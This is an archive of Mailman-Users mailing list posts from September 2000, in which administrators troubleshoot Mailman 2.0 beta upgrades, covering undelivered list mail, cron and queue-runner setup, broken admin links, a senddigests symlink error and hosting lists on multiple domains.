> Oh boy do I feel dumb.  In my defense, my IQ is being sapped by cold
> medicine.
> 
> The new Defaults.py hadn't been changed.  I didn't think it would be
> overwritten in an upgrade.  But it was.  It was trying to send mail to
> 'localhost' which for some reason wasn't defined.  Well I fixed that in
> '/etc/hosts', and a little at a time mail is starting to trickle in that had
> been queued up.
> 
> There are some other nagging problems but sending mail has been fixed.
> 
> Thanks guys.
> 
> -----Original Message-----
> From: Chris Hedemark [mailto:hedemark at bops.com]
> Sent: Wednesday, September 27, 2000 10:11 AM
> To: 'mailman-users at python.org'
> Subject: RE: [Mailman-Users] /home/mailman/logs/smtp-failures (fwd)
> 
> 
> OK I had a nearly fully functioning list server with 2.0beta2.  The upgrade
> to 2.0beta6 was prompted by a problem with archiving (it wasn't archiving
> messages).  It was actually sending messages just fine.
> 
> With 2.0beta6 we have archiving, but messages aren't moving.  I've tried
> sending mail from this box using "pine" and "mail" and it works fine.
> 
> I'm going to have a bunch of relevant logs posted shortly.
> 
> -----Original Message-----
> From: F. Winter [mailto:winter at PHYSnet.uni-hamburg.de]
> Sent: Wednesday, September 27, 2000 10:09 AM
> To: Chris Hedemark
> Subject: RE: [Mailman-Users] /home/mailman/logs/smtp-failures (fwd)
> 
> 
> Hi Chris!
> 
> > The weird thing is, I didn't have this problem with 2.0beta2.  It started
> > when I got the 2.0beta6 installed.
> > 
> 
> Do you mean that you have exactly the same problem that no list works
> with 2.0beta6 ? I tried 1.1stable although. The same result.
> 
> 
> > -----Original Message-----
> > From: F. Winter [mailto:winter at PHYSnet.uni-hamburg.de]
> > Sent: Wednesday, September 27, 2000 9:46 AM
> > To: mailman-users at python.org
> > Subject: Re: [Mailman-Users] /home/mailman/logs/smtp-failures (fwd)
> > 
> > 
> > Hi guys!
> > 
> > The problem Dan has  sounds exactly like my one:
> > 
> > The first "test" mailing list does not send the notification
> > email either. I have the same logs in smtp, smtp-failure and
> > post every minute.
> > 
> > I run Tru64 UNIX 4.0f. Python 1.5.2 and Mailman 2.0beta6
> > and exim 3.16
> > 
> > Yes, I installed the crontab under the user mailman. And I
> > followed the HOWTO "exim and mailman" found at www.exim.org.
> > 
> > I tried with installing the aliases into system-alias and
> > without it. Nothing changed. The first notificaten email
> > does not arrive. There are no entries in exim's log files.
> > 
> > Any suggestions?
> > 
> > 
> > --
> >  Frank Winter          Tel.: +(49)-40-42838-2404
> >  PHYSnet RZ            Email: winter at PHYSnet.uni-hamburg.de
> >  Uni Hamburg           
> >  Jungiusstr. 9
> >  D-20355 Hamburg       
> > 
> > 
> > ---------- Forwarded message ----------
> > 
> > Date: Tue, 26 Sep 2000 17:16:39 -0700 (PDT)
> > From: Dan Mick <Dan.Mick at West.Sun.COM>
> > To: mailman-users at python.org, hedemark at bops.com
> > Subject: Re: [Mailman-Users] /home/mailman/logs/smtp-failures
> > 
> > What is your MTA, and what do its logs say?
> > 
> > > OK I did the upgrade to 2.0beta6 and all hell has broken loose.
> Followed
> > > INSTALL and UPGRADE but something is still wrong.
> > > 
> > > My smtp-failures log is full of stuff like this:
> > > 
> > > Sep 26 13:05:02 2000 (1549) -1 hedemark at bops.com (ignore)
> > > 
> > > There is one log entry for every mailing list subscriber, and this gets
> > > updated every minute.  Looks like lots of stuff is backed up in the
> queue
> > > and not going out.  Have tried recompiling Mailman to no avail.  This is
> > on
> > > a Red Hat 6.2 system.
> > > 
> > > FWIW, it is doing a decent job of archiving my pile of test messages.
> > > Though nobody is actually getting the test messages.
> > > 
> > > Thanks for being patient with me guys.
> > 
> > 
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
> > 
> > 
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
> > 
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
> > 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 





From lampman at newact.com  Wed Sep 27 18:10:23 2000
From: lampman at newact.com (Michael Lampman)
Date: Wed, 27 Sep 2000 12:10:23 -0400
Subject: [Mailman-Users] Mail to list not delivered
Message-ID: <a04320402b5f7c2ed6b4a@[205.223.189.82]>

Under RH 6.1, Secureweb I am using mailman-2.0beta5.

Everything appears in every way to be working perfectly.  I can 
subcribe,  all the appropriate auto-generated messages are sent and 
received,  all permisssions,  httpd.conf, mm_cfg.py, etc are correct 
etc. etc.

When mail is sent to the list address,  it appears to send - no 
bounce messages are received and no errors are logged anywhere on the 
system so far as I can tell but the messages just evaporate???  I can 
find no evidence of them in any log or spool anywhere.

Any ideas?




From cvbear0 at sweb.uky.edu  Wed Sep 27 18:50:05 2000
From: cvbear0 at sweb.uky.edu (Courtney V Bearse)
Date: Wed, 27 Sep 2000 12:50:05 -0400 (EDT)
Subject: [Mailman-Users] beta6 subscribe woes
Message-ID: <Pine.BSF.4.10.10009271246530.90185-100000@sweb.uky.edu>

If I set up a list to send replies to list messages to the "This List" the
subscribe function also sets the reply-to header to listname at blah.org.  It
subscribe confirmations should always go back to
listname-reuqest at blah.org. correct?

where could i change that function?
courtneyb


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-----------------------------------------------------
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From hedemark at bops.com  Wed Sep 27 18:57:27 2000
From: hedemark at bops.com (Chris Hedemark)
Date: Wed, 27 Sep 2000 12:57:27 -0400
Subject: [Mailman-Users] Mail to list not delivered
Message-ID: <3D71CCC526F1D311A72600902773EC21209BC3@cascabella.rtp.bops.com>

Try this:

"tail /home/mailman/logs/smtp"
"tail /home/mailman/logs/smtp-failure"

What do you see?


-----Original Message-----
From: Michael Lampman [mailto:lampman at newact.com]
Sent: Wednesday, September 27, 2000 12:10 PM
To: mailman-users at python.org
Subject: [Mailman-Users] Mail to list not delivered


Under RH 6.1, Secureweb I am using mailman-2.0beta5.

Everything appears in every way to be working perfectly.  I can 
subcribe,  all the appropriate auto-generated messages are sent and 
received,  all permisssions,  httpd.conf, mm_cfg.py, etc are correct 
etc. etc.

When mail is sent to the list address,  it appears to send - no 
bounce messages are received and no errors are logged anywhere on the 
system so far as I can tell but the messages just evaporate???  I can 
find no evidence of them in any log or spool anywhere.

Any ideas?


------------------------------------------------------
Mailman-Users maillist  -  Mailman-Users at python.org
http://www.python.org/mailman/listinfo/mailman-users



From lampman at newact.com  Wed Sep 27 19:30:09 2000
From: lampman at newact.com (Michael Lampman)
Date: Wed, 27 Sep 2000 13:30:09 -0400
Subject: [Mailman-Users] Mail to list not delivered
In-Reply-To: 
 <3D71CCC526F1D311A72600902773EC21209BC3@cascabella.rtp.bops.com>
References: 
 <3D71CCC526F1D311A72600902773EC21209BC3@cascabella.rtp.bops.com>
Message-ID: <a04320406b5f7de4fda33@[205.223.189.82]>

Thanks for responding.  The prefix/mailman/logs directory contains no 
files "smtp"  or "smtp-failure"  - only "error" which is an empty 
file .

At 12:57 PM -0400 9/27/00, Chris Hedemark wrote:
>Try this:
>
>"tail /home/mailman/logs/smtp"
>"tail /home/mailman/logs/smtp-failure"
>
>What do you see?
>
>
>-----Original Message-----
>From: Michael Lampman [mailto:lampman at newact.com]
>Sent: Wednesday, September 27, 2000 12:10 PM
>To: mailman-users at python.org
>Subject: [Mailman-Users] Mail to list not delivered
>
>
>Under RH 6.1, Secureweb I am using mailman-2.0beta5.
>
>Everything appears in every way to be working perfectly.  I can
>subcribe,  all the appropriate auto-generated messages are sent and
>received,  all permisssions,  httpd.conf, mm_cfg.py, etc are correct
>etc. etc.
>
>When mail is sent to the list address,  it appears to send - no
>bounce messages are received and no errors are logged anywhere on the
>system so far as I can tell but the messages just evaporate???  I can
>find no evidence of them in any log or spool anywhere.
>
>Any ideas?
>
>
>------------------------------------------------------
>Mailman-Users maillist  -  Mailman-Users at python.org
>http://www.python.org/mailman/listinfo/mailman-users




From dgrantham at ptc.com  Wed Sep 27 20:51:22 2000
From: dgrantham at ptc.com (Dale M. Grantham)
Date: Wed, 27 Sep 2000 13:51:22 -0500
Subject: [Mailman-Users] Installation question
Message-ID: <39D241AA.5027A300@ptc.com>

I just finished installing mailman (version 2.0beta6) on a Solaris 2.6 box with
iPlanet and Netscape Messanger 4.0

I've created the 'test' list per the INSTALL directions.  After subscribing, I
replied to the confirmation message.  Nothing has happened since.

Can anyone help me out?

Dale.
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From wrd at awenet.com  Wed Sep 27 21:02:22 2000
From: wrd at awenet.com (William R. Dickson)
Date: Wed, 27 Sep 2000 12:02:22 -0700 (PDT)
Subject: [Mailman-Users] Error in senddigests
Message-ID: <Pine.NEB.4.21.0009271201170.26525-100000@awenet.com>

Upgraded to 2.0b6 yesterday.  Seems to be working well, mostly, but I'm
getting this new error.  If there's anything I can do to get more useful
info to go with it, please let me know.

-Bill


---------- Forwarded message ----------
Date: Wed, 27 Sep 2000 12:00:10 -0700 (PDT)
From: root (Cron Daemon)
To: mailman
Subject: Cron <mailman at repo-mac> /usr/local/bin/python -S
    /usr/local/mailman/awenet.com/cron/senddigests

Traceback (most recent call last):
  File "/usr/local/mailman/awenet.com/cron/senddigests", line 65, in ?
    main()
  File "/usr/local/mailman/awenet.com/cron/senddigests", line 42, in main
    send_list_digest(mlist)
  File "/usr/local/mailman/awenet.com/cron/senddigests", line 59, in send_list_digest
    mlist.Save()
  File "/usr/local/mailman/awenet.com/Mailman/MailList.py", line 846, in Save
    self.CheckHTMLArchiveDir()
  File "/usr/local/mailman/awenet.com/Mailman/Archiver/Archiver.py", line 256, in CheckHTMLArchiveDir
    makelink(privdir, pubdir)
  File "/usr/local/mailman/awenet.com/Mailman/Archiver/Archiver.py", line 42, in makelink
    os.symlink(old, new)
OSError: [Errno 2] No such file or directory

--
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 wrd at awenet.com   http://www.awenet.com/~wrd/  (PGP public key available)

     When he that speaks, and he to whom he speaks, neither of them
     understand what is meant, that is metaphysics.

		                                 - Voltaire




From sgibson at digitalimpact.com  Wed Sep 27 21:04:28 2000
From: sgibson at digitalimpact.com (Shane Y. Gibson)
Date: Wed, 27 Sep 2000 12:04:28 -0700
Subject: [Mailman-Users] HTML links broken in 'listinfo' and 'admin' pages
Message-ID: <39D244BC.B9589F88@digitalimpact.com>

All,

I just upgraded from 2.0beta4 to 2.0beta6.  Upgrade seems
to have gone well, with one small exception.  

In the overview listinfo page, the link to the Admin
pages now points to:

	http://host.domain.com:port/admin

as opposed to what it used to be, and should be:

	http://host.domain.com:port/mailman/admin

The flip side is the admin pages which has a link back to the
listinfo pages, has the same problem, the link is /listinfo
instead of the old working /mailman/listinfo

Has anyone else seen this?  If so what's the procedure to fix?

I've spent the last hour and half digging through the mailman 
install trying to find the HTML code that generates this, and
haven't been able to.

Thanks,
Shane


--
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sgibson at digitalimpact.com
Network Architect



From chuqui at plaidworks.com  Wed Sep 27 21:20:31 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Wed, 27 Sep 2000 12:20:31 -0700
Subject: [Mailman-Users] Installation question
In-Reply-To: <39D241AA.5027A300@ptc.com>
References: <39D241AA.5027A300@ptc.com>
Message-ID: <p0433010bb5f7f8ec867c@[17.216.27.250]>

At 1:51 PM -0500 9/27/00, Dale M. Grantham wrote:

>I've created the 'test' list per the INSTALL directions.  After subscribing, I
>replied to the confirmation message.  Nothing has happened since.
>

are the crontab jobs installed properly? What to the ~mailman/logs say?

-- 
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Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From chuqui at plaidworks.com  Wed Sep 27 21:19:47 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Wed, 27 Sep 2000 12:19:47 -0700
Subject: [Mailman-Users] Error in senddigests
In-Reply-To: <Pine.NEB.4.21.0009271201170.26525-100000@awenet.com>
References: <Pine.NEB.4.21.0009271201170.26525-100000@awenet.com>
Message-ID: <p0433010ab5f7f8a7766d@[17.216.27.250]>

At 12:02 PM -0700 9/27/00, William R. Dickson wrote:

>   File "/usr/local/mailman/awenet.com/Mailman/Archiver/Archiver.py", 
>line 42, in makelink
>     os.symlink(old, new)
>OSError: [Errno 2] No such file or directory

This bug was reported by me and Barry issued a proposed patch on 
mailman-developers yesterday. See the archives. Hopefully, Barry will 
roll the official patch into the CVS soon...

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Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From dgrantham at ptc.com  Wed Sep 27 21:40:48 2000
From: dgrantham at ptc.com (Dale M. Grantham)
Date: Wed, 27 Sep 2000 14:40:48 -0500
Subject: [Mailman-Users] Installation question
References: <39D241AA.5027A300@ptc.com> <p0433010bb5f7f8ec867c@[17.216.27.250]>
Message-ID: <39D24D40.1432C8D3@ptc.com>



Chuq Von Rospach wrote:

> At 1:51 PM -0500 9/27/00, Dale M. Grantham wrote:
>
> >I've created the 'test' list per the INSTALL directions.  After subscribing, I
> >replied to the confirmation message.  Nothing has happened since.
> >
>
> are the crontab jobs installed properly? What to the ~mailman/logs say?
>

I did install using:

su - mailman
cd ~mailman/cron
crontab crontab.in

(I haven't messed with crontab in years, I don't think you need to do anything
more, do you?)

In the logs I have:

no error entries

two smtp entries

one subscribe (pending - the one I sent back)

>
> --
> Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
> Apple Mail List Gnome (mailto:chuq at apple.com)
>
> And they sit at the bar and put bread in my jar
> and say 'Man, what are you doing here?'"
>
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
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From Dan.Mick at west.sun.com  Wed Sep 27 22:23:04 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Wed, 27 Sep 2000 13:23:04 -0700
Subject: [Mailman-Users] Who admins this list?
Message-ID: <39D25728.89D3B90D@west.sun.com>

Does anyone know who admins this list?

I want them to add a section to the welcome message that says 

"If you've just installed Mailman, and mail isn't being delivered,
do *not* post a question to mailman-users about it before you
check the cron job that runs qrunner to verify that it is running;
if it is, and you do post a message, be certain to say in the message
that you've verified it, and how."



From rogerk at QueerNet.ORG  Wed Sep 27 22:29:31 2000
From: rogerk at QueerNet.ORG (Roger B.A. Klorese)
Date: Wed, 27 Sep 2000 13:29:31 -0700 (PDT)
Subject: [Mailman-Users] Who admins this list?
In-Reply-To: <39D25728.89D3B90D@west.sun.com>
Message-ID: <Pine.BSI.4.21.0009271328150.12630-100000@castro.queernet.org>

On Wed, 27 Sep 2000, Dan Mick wrote:
> "If you've just installed Mailman, and mail isn't being delivered,
> do *not* post a question to mailman-users about it before you
> check the cron job that runs qrunner to verify that it is running;
> if it is, and you do post a message, be certain to say in the message
> that you've verified it, and how."

An explanation in very clear terms that SMTP never gets delivered
directly, and ALL actions require that the queues be run, should be
made.  My first read of the installation info inferred that queueing was
only used if initial deliveries to subscribers or processes failed. 

-- 
ROGER B.A. KLORESE                                          rogerk at QueerNet.ORG
PO Box 14309		                                San Francisco, CA 94114
"There is only one real blasphemy -- the refusal of joy!"       -- Paul Rudnick




From Dan.Mick at west.sun.com  Wed Sep 27 22:37:39 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Wed, 27 Sep 2000 13:37:39 -0700
Subject: [Mailman-Users] HTML links broken in 'listinfo' and 'admin' pages
References: <39D244BC.B9589F88@digitalimpact.com>
Message-ID: <39D25A93.FA604775@west.sun.com>


"Shane Y. Gibson" wrote:

> In the overview listinfo page, the link to the Admin
> pages now points to:
> 
>         http://host.domain.com:port/admin
> 
> as opposed to what it used to be, and should be:
> 
>         http://host.domain.com:port/mailman/admin
> 
> The flip side is the admin pages which has a link back to the
> listinfo pages, has the same problem, the link is /listinfo
> instead of the old working /mailman/listinfo
> 
> Has anyone else seen this?  If so what's the procedure to fix?
> 
> I've spent the last hour and half digging through the mailman
> install trying to find the HTML code that generates this, and
> haven't been able to.

Seems like it might be related to mm_cfg.DEFAULT_URL; what's that set to?



From Dan.Mick at west.sun.com  Wed Sep 27 22:41:40 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Wed, 27 Sep 2000 13:41:40 -0700
Subject: *FIXED?* RE: [Mailman-Users] /home/mailman/logs/smtp-failures (fwd)
References: <3D71CCC526F1D311A72600902773EC21209BB8@cascabella.rtp.bops.com>
Message-ID: <39D25B84.6175134@west.sun.com>


Chris Hedemark wrote:

> The new Defaults.py hadn't been changed.  I didn't think it would be
> overwritten in an upgrade.  But it was.  

You may know this now, but in case you don't, or in case someone else has
done something similar:

You are *not* supposed to edit Defaults.py, as the comment right at the top says:

# NEVER make site configuration changes to this file.  ALWAYS make them in
# mm_cfg.py instead, in the designated area.  See the comments in that file
# for details.

mm_cfg.py is preserved across upgrades.



From chuqui at plaidworks.com  Wed Sep 27 22:59:41 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Wed, 27 Sep 2000 13:59:41 -0700
Subject: [Mailman-Users] Error in senddigests
In-Reply-To: <p0433010ab5f7f8a7766d@[17.216.27.250]>
References: <Pine.NEB.4.21.0009271201170.26525-100000@awenet.com>
 <p0433010ab5f7f8a7766d@[17.216.27.250]>
Message-ID: <p04330111b5f81031028e@[17.216.27.250]>

>>   File 
>>"/usr/local/mailman/awenet.com/Mailman/Archiver/Archiver.py", line 
>>42, in makelink
>>     os.symlink(old, new)
>>OSError: [Errno 2] No such file or directory
>
>This bug was reported by me and Barry issued a proposed patch on 
>mailman-developers yesterday. See the archives. Hopefully, Barry 
>will roll the official patch into the CVS soon...

this patch just showed up in the CVS...

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From dave at geol.ucsb.edu  Thu Sep 28 00:45:20 2000
From: dave at geol.ucsb.edu (Dave Robbins)
Date: Wed, 27 Sep 2000 15:45:20 -0700 (PDT)
Subject: [Mailman-Users] add to accept list via unix?
Message-ID: <200009272245.PAA26917@geosci.geol.ucsb.edu>

Hi,

I have version 1.1 running and would like to know if it's possible
to add to the accept list via unix (that is, what is under 
"Privacy Options" as:

   Addresses of members accepted for posting to this list 
   without implicit approval requirement. 
   (See "Restrict ... to list members" for whether or not 
   this is in addition to allowing posting by list members

I don't see anything in ~mailman/bin for achieving this.
It would be much nicer to do this in Unix where accept lists
for one list could be appended to others and kept up-to-date
much much easier.  If nothing is available in 1.1 
(and any developers are reading this), please add it in 2.0!
>From my perspective (unless I'm missing something), it is
the major drawback to otherwise superlative software.
Thanks for the fantastic job!

Dave Robbins



From sgibson at digital-impact.com  Thu Sep 28 00:56:43 2000
From: sgibson at digital-impact.com (Shane Y. Gibson)
Date: Wed, 27 Sep 2000 15:56:43 -0700 (PDT)
Subject: [Mailman-Users] HTML links broken in 'listinfo' and 'admin' pages
In-Reply-To: <39D25A93.FA604775@west.sun.com> from "Dan Mick" at Sep 27, 2000 01:37:39 PM
Message-ID: <200009272256.e8RMuik05628@simon.digital-impact.com>

I did check that earlier.  It is set to the appropriate:

	http://host.domain.com:port/admin

that it used to point to.  When I check the source of the
HTML code, it builds the URL with a relative link of:

	../../admin

Which steps back one too many levels.

Fun.  Note:  Manually fixing the URL takes the user to
the right pages, which seem to work fine.  It's just the
URL gets build incorrectly from the admin and listinfo
web pages.

v/r
Shane


Quoting Dan Mick at Wed Sep 27 13:37:39 2000:
> 
> 
> 
> "Shane Y. Gibson" wrote:
> 
> > In the overview listinfo page, the link to the Admin
> > pages now points to:
> > 
> >         http://host.domain.com:port/admin
> > 
> > as opposed to what it used to be, and should be:
> > 
> >         http://host.domain.com:port/mailman/admin
> > 
> > The flip side is the admin pages which has a link back to the
> > listinfo pages, has the same problem, the link is /listinfo
> > instead of the old working /mailman/listinfo
> > 
> > Has anyone else seen this?  If so what's the procedure to fix?
> > 
> > I've spent the last hour and half digging through the mailman
> > install trying to find the HTML code that generates this, and
> > haven't been able to.
> 
> Seems like it might be related to mm_cfg.DEFAULT_URL; what's that set to?
> 




From sgibson at digital-impact.com  Thu Sep 28 05:27:07 2000
From: sgibson at digital-impact.com (Shane Y. Gibson)
Date: Wed, 27 Sep 2000 20:27:07 -0700 (PDT)
Subject: [Mailman-Users] HTML links broken in 'listinfo' and 'admin' pages
In-Reply-To: <200009272323.QAA19318@utopia.west.sun.com> from "Dan Mick" at Sep 27, 2000 04:24:56 PM
Message-ID: <200009280327.e8S3R8Q29946@simon.digital-impact.com>

Quoting Dan Mick at Wed Sep 27 16:24:56 2000:
> > 
> > 	http://host.domain.com:port/admin
> > 
> > that it used to point to.  
> 
> I'm confused; that has no 'mailman' and does have 'admin'.  Typo?

**Blush**  Yes, I meant:

	http://host.domain.com:port/mailman

I added a trailing slash.  That seems to have fixed the 
problem.  Thanks for bearing with me.  

v/r
Shane



From chris at gwydion.net  Thu Sep 28 12:22:07 2000
From: chris at gwydion.net (Silk)
Date: Thu, 28 Sep 2000 11:22:07 +0100
Subject: [Mailman-Users] Multiple domain lists
Message-ID: <20000928112207.A28128@gwydion.net>

Hi:

Feel free to rtfm me if I'm being idiotic here, and have missed
something obvious but:

How does one configure mail lists in mailman under multiple domains
all vhosted on one box?

eg: I have an ip address 127.0.0.1 and I only have one.
I have domain foo.com which is the 'actual' domain name
of the box, and when I apt-get install mailman it configures
for that domain.

I have another domain, bar.com, which has an Apache vhost properly
configured etc, and all that. Exim will handle mail for bar.com.

How to I make mailman establish the list fubar at bar.com?

Thanks,

~cHris
-- 
Chris Naden - chris at gwydion dot net

" Sometimes, home is just where you pour your coffee... "
             - Bruno Baldwin



From Nigel.Metheringham at VData.co.uk  Thu Sep 28 12:45:03 2000
From: Nigel.Metheringham at VData.co.uk (Nigel Metheringham)
Date: Thu, 28 Sep 2000 11:45:03 +0100
Subject: [Mailman-Users] Multiple domain lists 
In-Reply-To: Message from Silk <chris@gwydion.net> 
   of "Thu, 28 Sep 2000 11:22:07 BST." <20000928112207.A28128@gwydion.net> 
Message-ID: <E13ebBX-0000J9-00@rioja.localnet>

chris at gwydion.net said:
> I have another domain, bar.com, which has an Apache vhost properly
> configured etc, and all that. Exim will handle mail for bar.com.

> How to I make mailman establish the list fubar at bar.com? 

For a small number of domains with unique listnames - ie 
listname at foo.com & listname at bar.com being the same list is not a real 
problem to you, you can just set the domain name in the list config and 
things work correctly - including by the way http://www.foo.com/mailman/
listinfo/ only listing the lists that match that domain.  This is 
exactly what I do with the exim.org box which has a few other 
personalities.

Distinct listnames can be done by one install of mailman per domain 
(this might actually be a virtualised install where its mostly 
symlinked - there is a partial mention of this in the exim/mailman 
howto.

Real management of multiple virtual domains is something for the 
future... you also need to remember that there may be multiple near 
identical mail domains (I accept mail for www.exim.org as well as 
exim.org).

	Nigel.
-- 
[ - Opinions expressed are personal and may not be shared by VData - ]
[ Nigel Metheringham                  Nigel.Metheringham at VData.co.uk ]
[ Phone: +44 1423 850000                         Fax +44 1423 858866 ]





From vl at ez.no  Thu Sep 28 13:48:33 2000
From: vl at ez.no (Vidar Langseid)
Date: Thu, 28 Sep 2000 13:48:33 +0200 (CEST)
Subject: [Mailman-Users] Multiple domain lists 
In-Reply-To: <E13ebBX-0000J9-00@rioja.localnet>
Message-ID: <Pine.LNX.4.21.0009281334250.3113-100000@rebel.ez.no>

This does not work 100% for me. I have multiple domains. Sending mail to
list1 at foo.com and list2 at bar.com works but when the subscribers get the
mails, the mails appear to be from list1 at foo.com and list2 at foo.com (should
be list2 at bar.com) The FROM: and REPLY TO: fields are in other words wrong. 

The web-interface works perfectly. The signatures in the emails also
correctly refers to list1 at foo.com and list2 at bar.com. 
In the admininterface you may explicit spesify "Reply-To:" but that
doesn't work for me.


Is my MTA misconfigured ?
I am using 2.0beta5, redhat and sendmail


Vidar


On Thu, 28 Sep 2000, Nigel Metheringham wrote:

> 
> chris at gwydion.net said:
> > I have another domain, bar.com, which has an Apache vhost properly
> > configured etc, and all that. Exim will handle mail for bar.com.
> 
> > How to I make mailman establish the list fubar at bar.com? 
> 
> For a small number of domains with unique listnames - ie 
> listname at foo.com & listname at bar.com being the same list is not a real 
> problem to you, you can just set the domain name in the list config and 
> things work correctly - including by the way http://www.foo.com/mailman/
> listinfo/ only listing the lists that match that domain.  This is 
> exactly what I do with the exim.org box which has a few other 
> personalities.
> 
> Distinct listnames can be done by one install of mailman per domain 
> (this might actually be a virtualised install where its mostly 
> symlinked - there is a partial mention of this in the exim/mailman 
> howto.
> 
> Real management of multiple virtual domains is something for the 
> future... you also need to remember that there may be multiple near 
> identical mail domains (I accept mail for www.exim.org as well as 
> exim.org).
> 
> 	Nigel.
> 






From Nigel.Metheringham at VData.co.uk  Thu Sep 28 14:01:33 2000
From: Nigel.Metheringham at VData.co.uk (Nigel Metheringham)
Date: Thu, 28 Sep 2000 13:01:33 +0100
Subject: [Mailman-Users] Multiple domain lists 
In-Reply-To: Message from Vidar Langseid <vl@ez.no> 
   of "Thu, 28 Sep 2000 13:48:33 +0200." <Pine.LNX.4.21.0009281334250.3113-100000@rebel.ez.no> 
Message-ID: <E13ecNZ-0000T2-00@rioja.localnet>

Mailman should not (and does not to my knowlege) be changing the From: 
field.  Reply-To: is a per-list setting.  The list domain information 
is set in the bottom couple of options of the web "General Options" 
screen.

You may find your sendmail rewrites things gratuitously.  This will 
especially happen if bar.com is a CNAME (it should not be - it should 
be a set of A records for web and MX records for mail - if you have a 
CNAME there you are contravening some RFCs and some MTAs will ignore 
you).

Rereading your comments, I guess you might be using some sender hiding 
stuff - I've never touched that so can't comment if you are.

	Nigel.
-- 
[ - Opinions expressed are personal and may not be shared by VData - ]
[ Nigel Metheringham                  Nigel.Metheringham at VData.co.uk ]
[ Phone: +44 1423 850000                         Fax +44 1423 858866 ]





From lampman at newact.com  Thu Sep 28 15:06:55 2000
From: lampman at newact.com (Michael Lampman)
Date: Thu, 28 Sep 2000 09:06:55 -0400
Subject: [Mailman-Users] Who admins this list?
In-Reply-To: <39D25728.89D3B90D@west.sun.com>
References: <39D25728.89D3B90D@west.sun.com>
Message-ID: <a04320402b5f8f149cc74@[205.223.189.82]>

At 1:23 PM -0700 9/27/00, Dan Mick wrote:
>"If you've just installed Mailman, and mail isn't being delivered,
>do *not* post a question to mailman-users about it before you
>check the cron job that runs qrunner to verify that it is running;
>if it is, and you do post a message, be certain to say in the message
>that you've verified it, and how."

So I guess this list is only for experts.  It is inappropriate for a 
raw beginner to post his dumb questions to it.  You must be a help 
desk person.  Before you will answer a question,  you want to be sure 
that the user asking it feels as stupid as possible.  Well I do.  I 
don't even know *how* to verify that the cron job is running.  Don't 
give me RTFM though because, if there is a manual dealing with 
installation and configuration, I am certainly unable to find it.  I 
have been through *all* FAQs and *all* documentation that came with 
the application as well as online, (which is the same).

Be that as it may, output from the command -
  /usr/bin/python /usr/share/mailman/cron/run_queue

Looks like this -
/usr/bin/python: can't open file '/usr/share/mailman/cron/run_queue'

So I suppose it is not doing what it ought to.  At the risk of 
annoying you further, I have to ask now what?

Michael Lampman




From dgrantham at ptc.com  Thu Sep 28 15:21:47 2000
From: dgrantham at ptc.com (Dale M. Grantham)
Date: Thu, 28 Sep 2000 08:21:47 -0500
Subject: [Mailman-Users] Reply to Confirmation question
Message-ID: <39D345EB.D9F8E125@ptc.com>

As stated earlier, I have replied to the "Test - confirmation of subscription"
message.

Cron is running (Dan had a good idea, enabling the logger in 'qrunner')

I have the "subscription pending" message in the subscribe log.

I can "see" the data in the data/pending_subscriptons.db file.

How can I figure out why the reply to the confirmation didn't take?
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From matt at mattd.org  Thu Sep 28 15:24:41 2000
From: matt at mattd.org (Matthew Dickinson)
Date: Thu, 28 Sep 2000 14:24:41 +0100 (BST)
Subject: [Mailman-Users] setup problem.
Message-ID: <Pine.LNX.4.21.0009281421270.23482-100000@bulldog.pdcompsys.com>

Hi

i'm running Redhat 6.2 and using postfix instead of sendmail, and i've got
postfix running nicely (well i think so at least). I've installed mailman,
and have managed to create a list called test (as per the install
instructions) to test it. It sends me an email fine when i create the
list, but when i send a mail to the list this is what happens (see exerpt
of /var/log/maillog)


Sep 27 23:52:16 bulldog
postfix/local[20333]: B15AD13AEC2: to=<test at pdcompsys.com>, relay=local,
delay=1, status=sent ("|/home/mailman/mail/wrapper post test")

that's it, no mail gets sent out again. Is it because i'm only the list
administrator, and not actually a list member? or am i missing something
else here?


Matt




From esper at sherohman.org  Thu Sep 28 16:03:44 2000
From: esper at sherohman.org (Dave Sherohman)
Date: Thu, 28 Sep 2000 09:03:44 -0500
Subject: [Mailman-Users] Multiple domain lists
In-Reply-To: <Pine.LNX.4.21.0009281334250.3113-100000@rebel.ez.no>; from vl@ez.no on Thu, Sep 28, 2000 at 01:48:33PM +0200
References: <E13ebBX-0000J9-00@rioja.localnet> <Pine.LNX.4.21.0009281334250.3113-100000@rebel.ez.no>
Message-ID: <20000928090343.A871@sherohman.org>

On Thu, Sep 28, 2000 at 01:48:33PM +0200, Vidar Langseid wrote:
> This does not work 100% for me. I have multiple domains. Sending mail to
> list1 at foo.com and list2 at bar.com works but when the subscribers get the
> mails, the mails appear to be from list1 at foo.com and list2 at foo.com (should
> be list2 at bar.com) The FROM: and REPLY TO: fields are in other words wrong. 

For me (with 2.0b5, Debian, and exim), the "Host name this list prefers"
setting on the general admin page controls the domain name used for outgoing
mail.

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From chuqui at plaidworks.com  Thu Sep 28 16:46:50 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Thu, 28 Sep 2000 07:46:50 -0700
Subject: [Mailman-Users] Who admins this list?
In-Reply-To: <a04320402b5f8f149cc74@[205.223.189.82]>
